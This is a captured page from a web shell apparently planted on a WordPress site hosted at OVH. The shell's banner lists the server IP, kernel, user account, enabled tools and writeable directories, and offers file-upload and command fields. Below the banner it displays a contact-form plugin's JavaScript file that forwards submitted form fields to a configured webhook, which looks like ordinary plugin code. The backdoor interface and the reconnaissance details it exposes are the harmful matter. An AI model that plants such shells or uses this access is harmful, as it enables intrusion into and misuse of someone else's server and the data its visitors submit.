403Webshell
Server IP : 213.186.33.2  /  Your IP : 216.73.216.39
Web Server : Apache
System : Linux webm005.cluster102.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : symetry ( 21728)
PHP Version : 8.2.31
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/symetry/www/wp-content/plugins/contact-form-7-honeypot/includes/apps/webhook/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/symetry/www/wp-content/plugins/contact-form-7-honeypot/includes/apps/webhook/assets/js/app.js
( function( $ ) {
    'use strict';

    $( document ).on( 'wpcf7mailsent', function( event ) {
        var form = event.detail.contactForm;
        var formId = form ? form.id : event.detail.contactFormId || 0;

        // Fetch settings and then send to webhook
        $.post(
            cf7appsWebhook.ajaxurl,
            {
                action: 'cf7apps_fetch_webhook_settings',
                formId: formId
            },
            function( response ) {
                if ( response && response.success && response.data ) {
                    var settings = response.data;
                    if ( settings.is_enabled ) {
                        var url = settings.webhook_url || '';
                        if ( url ) {
                            var method = settings.method || 'POST';
                            var payloadTemplate = settings.payload || '{"form_id":"{{form_id}}","fields":{{fields}}}';

                            var fields = {};
                            if ( event.detail.inputs && event.detail.inputs.length ) {
                                event.detail.inputs.forEach( function( input ) {
                                    fields[ input.name ] = input.value;
                                } );
                            }

                            var payload = payloadTemplate.replace( '{{form_id}}', formId ).replace( '{{fields}}', JSON.stringify( fields ) );

                            try {
                                $.ajax( {
                                    url: url,
                                    method: method,
                                    data: payload,
                                    contentType: 'application/json',
                                } );
                            } catch ( e ) {
                                // swallow errors
                            }
                        }
                    }
                }
            }
        );
    } );

} )( jQuery );

Youez - 2016 - github.com/yon3zu
LinuXploit